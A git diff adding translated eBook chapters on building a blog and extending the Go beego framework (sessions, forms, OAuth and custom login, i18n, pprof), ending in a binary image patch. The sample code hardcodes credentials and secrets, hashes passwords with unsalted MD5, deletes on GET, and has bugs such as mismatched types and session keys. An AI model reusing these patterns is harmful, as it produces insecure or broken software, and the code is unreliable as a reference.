concept and the partial implementation of the pseudo- code, which subsections describe through beego build a blog system, including blog browse, add, modify, or delete operation. + +## Blog directory + +Blog directories are as follows: + + /main.go + /views: + /view.tpl + /new.tpl + /layout.tpl + /index.tpl + /edit.tpl + /models/model.go + /controllers: + /index.go + /view.go + /new.go + /delete.go + /edit.go + +## Blog routing + +Blog main routing rules are as follows: + + //Show blog Home + beego.RegisterController("/", &controllers.IndexController{}) + //View blog details + beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{}) + //Create blog Bowen + beego.RegisterController("/new", &controllers.NewController{}) + //Delete Bowen + beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{}) + //Edit Bowen + beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{}) + +## Database structure + +The easiest database design blog information + + CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) + ); + +## Controller + +IndexController: + + type IndexController struct { + beego.Controller + } + + func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplNames = "index.tpl" + } + +ViewController: + + type ViewController struct { + beego.Controller + } + + func (this *ViewController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "view.tpl" + } + +NewController + + type NewController struct { + beego.Controller + } + + func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +EditController + + type EditController struct { + beego.Controller + } + + func (this *EditController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" + } + + func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") + } + +DeleteController + + type DeleteController struct { + beego.Controller + } + + func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.DelBlog(id) + this.Ctx.Redirect(302, "/") + } + +## Model layer + + package models + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" + ) + + type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time + } + + func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm + } + + func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return + } + + func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return + } + + func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg + } + + func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return + } + +## View layer + +layout.tpl + + + + My Blog + + + + + + + {{.LayoutContent}} + + + + +index.tpl + +

Blog posts

+ + + +view.tpl + +

{{.Post.Title}}

+ {{.Post.Created}}
+ + {{.Post.Content}} + +new.tpl + +

New Blog Post

+
+ Title:
+ Content + +
+ +edit.tpl + +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+ Title:
+ Content + + +
+ +## Links + +- [Directory](preface.md) +- Previous section: [Logs and configurations](13.4.md) +- Next section: [Summary](13.6.md) diff --git a/en/eBook/13.6.md b/en/eBook/13.6.md new file mode 100644 index 00000000..66264355 --- /dev/null +++ b/en/eBook/13.6.md @@ -0,0 +1,9 @@ +# 13.6 Summary + +In this chapter we describe how to implement a major foundation of the Go language framework, which includes routing design due to the built-in http Go package routing some shortcomings, we have designed a dynamic routing rule, and then introduces the MVC pattern Controller design, controller implements the REST implementation, the main ideas from the tornado frame, and then design and implement the template layout and automated rendering technology, mainly using the Go built-in template engine, and finally we introduce some auxiliary logs, configuration, etc. information design, through these designs we implemented a basic framework beego, present the framework has been open in GitHub, finally we beego implemented a blog system, through a detailed example code demonstrates how to quickly develop a site. + +## Links + +- [Directory](preface.md) +- Previous section: [Add, delete and update blogs](13.5.md) +- Next chapter: [Develop web framework](14.0.md) diff --git a/en/eBook/14.0.md b/en/eBook/14.0.md new file mode 100644 index 00000000..04365d05 --- /dev/null +++ b/en/eBook/14.0.md @@ -0,0 +1,11 @@ +# 14 Develop web framework + +Chapter XIII describes how to develop a Web framework, by introducing the MVC, routing, log processing, the configuration process is completed a basic framework for the system, but a good framework requires some auxiliary tools to facilitate rapid development of Web, then we this chapter will provide some quick how to develop Web-based tools are introduced, the first section explains how to deal with static files, how to use existing open source twitter bootstrap for rapid development of beautiful sites, the second section describes how to use the previously described the session for user log in process, and the third section describes how convenient output forms that how data validation, how fast the data binding model for CRUD operations, the fourth section describes how to perform some user authentication, including http basic certification, http digest authentication, the fifth section describes how to use the previously described i18n support multi-language application development. + +In this chapter expansion, beego framework will have rapid development of Web properties, and finally we will explain how to use the features of these extensions extension development blog system developed in Chapter XIII, through the development of a complete, beautiful blog system allows readers to understand beego development brings you fast. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 13 summary](13.6.md) +- Next section: [Static files](14.1.md) diff --git a/en/eBook/14.1.md b/en/eBook/14.1.md new file mode 100644 index 00000000..125b7761 --- /dev/null +++ b/en/eBook/14.1.md @@ -0,0 +1,79 @@ +# 14.1 Static files + +As we have already talked about how to deal with static files, this section we detail how to set up and use in beego static files inside. By then introduce a twitter open source html, css framework bootstrap, without a lot of design work we can let you quickly create a beautiful site. + +## Beego static files and settings to achieve + +Go's net/ http package provides a static file serving, `ServeFile` and `FileServer` other functions. beego static file processing is handled based on this layer, the specific implementation is as follows: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +StaticDir is stored inside the corresponding URL corresponds to a static file directory, so handle URL requests when the request need only determine whether the address corresponding to the beginning of the process contains static URL, if included on the use http.ServeFile provide services. + +Examples are as follows: + + beego.StaticDir["/asset"] = "/static" + +Example. Then the request url `http://www.beego.me/asset/bootstrap.css` will request `/static/bootstrap.css` for the client. + +## Bootstrap integration + +Bootstrap is Twitter launched an open source toolkit for front-end development. For developers, Bootstrap is the rapid development of the best front-end Web application toolkit. It is a collection of CSS and HTML, it uses the latest HTML5 standard, to your Web development offers stylish typography, forms, buttons, tables, grids, systems, etc. + +- Components +Bootstrap contains a wealth of Web components, according to these components, you can quickly build a beautiful, fully functional website. Which includes the following components: +Pull-down menus, buttons, groups, buttons drop-down menus, navigation, navigation bar, bread crumbs, pagination, layout, thumbnails, warning dialog, progress bars, and other media objects +- JavaScript plugin +Bootstrap comes with 13 jQuery plug-ins for the Bootstrap a component gives"life." Including: +Modal dialog, tab, scroll bars, pop-up box and so on. +- Customize your own framework code +Bootstrap in can modify all CSS variables, according to their own needs clipping code. + +![](images/14.1.bootstrap.png?raw=true) + +Figure 14.1 bootstrap site + +Next, we use the bootstrap into beego frame inside, quickly create a beautiful site. + +1. First to download the bootstrap directory into our project directory, named as static, as shown in the screenshot. + + ![](images/14.1.bootstrap2.png?raw=true) + + Figure 14.2 Project static file directory structure + +2. Because beego default values ​​set StaticDir, so if your static files directory is static, then you need not go any further: + + StaticDir["/static"] = "static" + +3. templates use the following address on it: + + // css file + + + // js file + + + // Picture files + + +The above can be achieved to bootstrap into beego in the past, as demonstrated in Figure is the integration of the show came after renderings: + +![](images/14.1.bootstrap3.png?raw=true) + +Figure 14.3 Construction site interface based bootstrap + +These templates and formats bootstrap official has to offer will not be repeated here paste code, we can bootstrap on the official website to learn how to write templates. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop web framework](14.0.md) +- Next section: [Session](14.2.md) diff --git a/en/eBook/14.2.md b/en/eBook/14.2.md new file mode 100644 index 00000000..33774a29 --- /dev/null +++ b/en/eBook/14.2.md @@ -0,0 +1,105 @@ +# 14.2 Session + +Chapter VI, when we saw how to use the Go language session, also achieved a sessionManger, beego sessionManager based framework to achieve a convenient session handling functions. + +## Session integration +beego mainly in the following global variables to control the session handling: + + // related to session + SessionOn bool // whether to open the session module, the default is not open + SessionProvider string // session backend processing module provided, the default is sessionManager supported memory + SessionName string // client name saved in cookies + SessionGCMaxLifetime int64 // cookies validity + + GlobalSessions *session.Manager// global session controller + +Of course, the above values of these variables need to be initialized, you can also follow the code to match the configuration file to set these values: + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +In beego.Run function to add the following code: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +So long SessionOn set to true, then it will open the session by default function to open an independent goroutine to handle session. + +In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## Session using + +Through the above code we can see, beego framework simply inherit the session function, then how to use it in your project ? + +First, we need to apply the main entrance open session: + + beego.SessionOn = true + + +We can then corresponding method in the controller to use the session as follows: the + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +The above code shows how to use the control logic session, mainly divided into two steps: + +1. Get session object + + // Get the object, similar in PHP session_start() + sess:= this.StartSession() + +2. to use the session for general session value operation + + // Get the session values , similar in PHP $ _SESSION ["count"] + sess.Get("count") + + // Set the session value + sess.Set("count", intcount) + +As can be seen from the above code beego framework based applications developed using the session quite easy, basically, and PHP to call `session_start()` similar. + +## Links + +- [Directory](preface.md) +- Previous section: [Static files](14.1.md) +- Next section: [Form](14.3.md) diff --git a/en/eBook/14.3.md b/en/eBook/14.3.md new file mode 100644 index 00000000..087bc35e --- /dev/null +++ b/en/eBook/14.3.md @@ -0,0 +1,350 @@ +# 14.3 Form + +In Web Development For such a process may be very familiar: + +- Open a web page showing the form. +- Users fill out and submit the form. +- If a user submits some invalid information, or you might have missed a required item, the form will be together with the user's data and the error description of the problem to return. +- Users fill in again to continue the previous step process until the submission of a valid form. + +At the receiving end, the script must: + +- Check the user submitted form data. +- Verify whether the data is the correct type, the appropriate standard. For example, if a user name is submitted, it must be verified whether or contains only characters allowed. It must have a minimum length can not exceed the maximum length. User name can not already exist with others duplicate user name, or even a reserved word and so on. +- Filtering data and clean up the unsafe character that guarantees a logic processing received data is safe. +- If necessary, pre-formatted data( or data gaps need to be cleared through the HTML coding and so on. ) +- Preparing the data into the database. + +While the above process is not very complex, but usually need to write a lot of code, and in order to display an error message on the page often use a variety of different control structures. Create a form validation, although simple to implement it boring. + +## Forms and validation + +For developers, the general development process is very complex, and mostly are repeating the same work. Assuming a scenario project suddenly need to add a form data, then the local code of the entire process needs to be modified. We know that Go inside a struct is a common data structure, so beego the form struct used to process form information. + +First define a developing Web applications corresponding struct, a field corresponds to a form element, through the struct tag to define the corresponding element information and authentication information, as follows: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +Struct defined in this way after the next operation in the controller + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +This form is displayed in the template + +

New Blog Post

+
+ {{.form.render()}} +
+ +Above we defined the entire first step to display the form from the struct process, the next step is the user fill out the information, and then verify that the server receives data, and finally into the database. + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## Form type + +The following list to the corresponding form element information: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameparameterDescription
text + Notextbox input box
button + Nobutton
checkbox + Nomulti-select box
dropdown + Nodrop-down selection box
file + Nofile upload
hidden + Nohidden elements
password + Nopassword input box
radio + Nosingle box
textarea + Notext input box
+ + +## Forms authentication + +The following list may be used are listed rules native: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rulesparameterDescriptionExample
required + NoIf the element is empty, it returns FALSE
matches + Yesif the form element's value with the corresponding form field parameter values are not equal, then return + FALSEmatches [form_item]
is_unique + Yesif the form element's value with the specified field in a table have duplicate data, it returns False( Translator's + Note: For example is_unique [User.Email], then the validation class will look for the User table in the + Email field there is no form elements with the same value, such as deposit repeat, it returns false, so + developers do not have to write another Callback verification code.)is_unique [table.field]
min_length + Yesform element values if the character length is less than the number defined parameters, it returns FALSEmin_length [6]
max_length + Yesif the form element's value is greater than the length of the character defined numeric argument, it returns + FALSEmax_length [12]
exact_length + Yesif the form element values and parameters defined character length number does not match, it returns FALSEexact_length [8]
greater_than + YesIf the form element values non- numeric types, or less than the value defined parameters, it returns FALSEgreater_than [8]
less_than + YesIf the form element values non- numeric types, or greater than the value defined parameters, it returns FALSEless_than [8]
alpha + NoIf the form element value contains characters other than letters besides, it returns FALSE
alpha_numeric + NoIf the form element values contained in addition to letters and other characters other than numbers, it returns + FALSE
alpha_dash + NoIf the form element value contains in addition to the letter/ number/ underline/ characters other than dash, + returns FALSE
numeric + NoIf the form element value contains characters other than numbers in addition, it returns FALSE
integer + Noexcept if the form element contains characters other than an integer, it returns FALSE
decimal + YesIf the form element type( non- decimal ) is not complete, it returns FALSE
is_natural + Novalue if the form element contains a number of other unnatural values ( other values excluding zero ), it + returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.
is_natural_no_zero + Novalue if the form element contains a number of other unnatural values ( other values including zero ), it + returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.
valid_email + NoIf the form element value contains invalid email address, it returns FALSE
valid_emails + Noform element values if any one value contains invalid email address( addresses separated by commas in English + ), it returns FALSE.
valid_ip + Noif the form element's value is not a valid IP address, it returns FALSE.
valid_base64 + Noif the form element's value contains the base64-encoded characters in addition to other than the characters, + returns FALSE.
+ +## Links + +- [Directory](preface.md) +- Previous section: [Session](14.2.md) +- Next section: [User validation](14.4.md) + diff --git a/en/eBook/14.4.md b/en/eBook/14.4.md new file mode 100644 index 00000000..4d2fc8f0 --- /dev/null +++ b/en/eBook/14.4.md @@ -0,0 +1,264 @@ +# 14.4 User validation + +In the process of developing Web applications, user authentication is frequently encountered problems developers, user log in, registration, log out and other operations, and the general certification is also divided into three aspects of certification + +- HTTP Basic and HTTP Digest Authentication +- Third Party Certified Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc. +- Custom user log in, registration, log out, are generally based on session, cookie authentication + +beego There is no way for any of these three forms of integration, but can make use of third party open source library to achieve the above three methods of user authentication, but the first two subsequent authentication beego be gradually integrated. + +## HTTP basic and digest authentication + +These two certifications are some applications using relatively simple authentication, there are already open source third-party library supports both authentication: + + github.com/abbot/go-http-auth + +The following code demonstrates how to use this library in order to achieve the introduction of beego Certification: + + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The above code takes advantage of beego the prepare function in the normal logic function is called before the certification, so it is very simple to achieve a http auth, digest authentication is the same principle. + +## OAuth and OAuth 2 certification + +OAuth and OAuth 2 is currently more popular two authentication methods, but fortunately, there is a third-party library to achieve this certification, but it is realized abroad, and did not QQ, microblogging like domestic application certified integration: + + github.com/bradrydzewski/go.auth + +The following code demonstrates how to put the library in order to achieve the introduction of beego OAuth authentication, an example to demonstrate GitHub here: + +1. Add two routes + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. Then we deal GithubController landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + +3. treatment after successful landing pages + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +The whole process is as follows, first open your browser and enter the address: + +![](images/14.4.github.png?raw=true) + +Figure 14.4 shows the home page with a log in button + +Then click on the link following screen appears: + +![](images/14.4.github2.png?raw=true) + +Figure 14.5 is displayed after clicking the log in button authorization GitHub page + +Then click Authorize app will appear the following interface: + +![](images/14.4.github3.png?raw=true) + +Figure 14.6 is displayed after log in authorization to obtain information page GitHub + +## Custom authentication + +Custom authentication and session are generally a combination of proven, the following code from an open source based beego blog: + + //Login process + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //Registration process + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +With the user log in and registration, where you can add other modules such as the judgment of whether the user log in: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## Links + +- [Directory](preface.md) +- Previous section: [Form](14.3.md) +- Next section: [Multi-language support](14.5.md) + diff --git a/en/eBook/14.5.md b/en/eBook/14.5.md new file mode 100644 index 00000000..f656bc6c --- /dev/null +++ b/en/eBook/14.5.md @@ -0,0 +1,118 @@ +# 14.5 Multi-language support + +We introduced in Chapter internationalization and localization, we developed a go-i18n library, the library this section we will integrate beego frame inside, making our framework supports internationalization and localization. + +## I18n integration + +beego global variable is set as follows: + + Translation i18n.IL + Lang string // set the language pack, zh, en + LangPath string // set the language pack location + +Multi-language function to initialize: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +In order to facilitate more direct call in the template language pack, we have designed three functions to handle the response of multiple languages: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## Use multi-language development + +1. Set the location of language and language packs, then initialize the i18n objects: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. Design Multi-language Pack + + The above talked about how to initialize multi language pack, the language pack is now designing multi, multi-language package is json file, as described in Chapter X, we need to design a document on LangPath following example zh.json or en.json + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. Use the Language Pack + + We can call the controller to get the response of the translation language translation, as follows: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + We can also directly call response in the template translation function: + + // Direct Text translation + {{.create | Trans}} + + // Time to translate + {{.time | TransDate}} + + // Currency translation + {{.money | TransMoney}} + +## Links + +- [Directory](preface.md) +- Previous section: [User validation](14.4.md) +- Next section: [pprof](14.6.md) + diff --git a/en/eBook/14.6.md b/en/eBook/14.6.md new file mode 100644 index 00000000..e22d46ab --- /dev/null +++ b/en/eBook/14.6.md @@ -0,0 +1,110 @@ +# 14.6 pprof + +Go language has a great design is the standard library with code performance monitoring tools, there are packages in two places: + + net/http/pprof + + runtime/pprof + +In fact, `net/http/pprof` in just using `runtime/pprof` package for packaging a bit, and exposed on the http port + +## Beego support pprof + +Currently beego framework adds pprof, this feature is not turned on by default, if you need to test performance, view the execution goroutine such information, in fact, Go's default package "net/http/pprof" already has this feature, and if Go manner in accordance with the default Web, you can use the default, but because beego repackaged ServHTTP function, so if you can not open the default includes this feature, so the need for internal reform beego support pprof. + +- First in beego.Run function automatically according to whether the variable load performance pack + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- Design ProfConterller + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## Getting started + +Through the above design, you can use the following code to open pprof: + + beego.PprofOn = true + +Then you can open in a browser the following URL to see the following interface: + +![](images/14.6.pprof.png?raw=true) + +Figure 14.7 current system goroutine, heap, thread information + +Click goroutine we can see a lot of detailed information: + +![](images/14.6.pprof2.png?raw=true) + +Figure 14.8 shows the current goroutine details + +We can also get more details from the command line information + + go tool pprof http://localhost:8080/debug/pprof/profile + +This time the program will enter the profile collection time of 30 seconds, during which time desperately to refresh the page on the browser, try to make cpu usage performance data. + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +Figure 14.9 shows the execution flow of information + +## Links + +- [Directory](preface.md) +- Previous section: [Multi-language support](14.5.md) +- Next section: [Summary](14.7.md) + diff --git a/en/eBook/14.7.md b/en/eBook/14.7.md new file mode 100644 index 00000000..a10dd446 --- /dev/null +++ b/en/eBook/14.7.md @@ -0,0 +1,10 @@ +# 14.7 Summary + +This chapter explains how to extend the framework based on beego, which includes support for static files, static files, mainly about how to use beego for rapid web development using bootstrap to build a beautiful site; second summary explaining how beego in integrated sessionManager, user-friendly in use beego quickly when using session; Third Summary describes the forms and validation, based on the Go language allows us to define a struct in the process of developing Web from repetitive work of liberation, and joined the after verification of data security can be as far as possible, the fourth summary describes the user authentication, user authentication, there are three main requirements, http basic and http digest certification, third party certification, custom certification through code demonstrates how to use the existing section tripartite package integrated into beego applications to achieve these certifications; fifth section describes multi-language support, beego integrated go-i18n this multi-language pack, users can easily use the library develop multi-language Web applications; section six subsections describe how to integrate Go's pprof packages, pprof package is used for performance debugging tools, after the transformation by beego integrated pprof package, enabling users to take advantage of pprof test beego based applications developed by these six subsections introduces us to expand out a relatively strong beego framework that is sufficient to meet most of the current Web applications, users can continue to play to their imagination to expand, I am here only a brief introduction I can think of to compare several important extensions. + +## Links + +- [Directory](preface.md) +- Previous section: [pprof](14.6.md) +- Next chapter: [Appendix A References](ref.md) + diff --git a/en/eBook/images/1.1.cmd.png b/en/eBook/images/1.1.cmd.png new file mode 100644 index 0000000000000000000000000000000000000000..0df2504b2e3df10f8c3a1595ff93f6f08da446ff GIT binary patch literal 11206 zcmb7q2{fDA-)(e%w#j>^GCKb6bhqKcK>+HvWkKB62r*1*1^H87`OVq^Qae$BZhqo3EQsgXN%C%pVwW*F?2{?o3 z9nsb)ZyhTgB1;3?bpQoj7R6Hp}JoskNcdsZX+R- zO7B7L_&H{TLl3mF@ij2{X@Irxgr;iYZWwI059$tE_GQmYuR{Za268n_#;_~fF}K|< zY?gTyN^JA*WUcbxl7(54UlQfGjGJA+pY>cNYGm|urp9!AZLpp>wS&VX!s(3zPc_tSGHnfR+^gFE%zp3{ z1!&kFa~hAuIztCe{hJ+tal_h0ndj;DbLg@wXK)lI`ET{2`}>1cd|W`;jlJjH9L<^E zCtUO2e+x~yIl$gS0IZ!o@yH<8nck#@<&l0Fl^>|Q^LFnPehAOCl9Zd7@0Nn-{mT*? zNR(0k%(YMaciF^&8lLNEEz*b{a^>fPs8;Y;cH^ zM!01^ImxU1<}fW8$%mH8d{a6T`~h+2>^0BWl|9Gx;P&LQuo9%Izip?@@2zCCXtszO zl|61f58J`o&CYs?pGoreR*8RFZ{f`>2RcAM$jnP4??3&>lOW@y>IZkJ*6<#QNOe 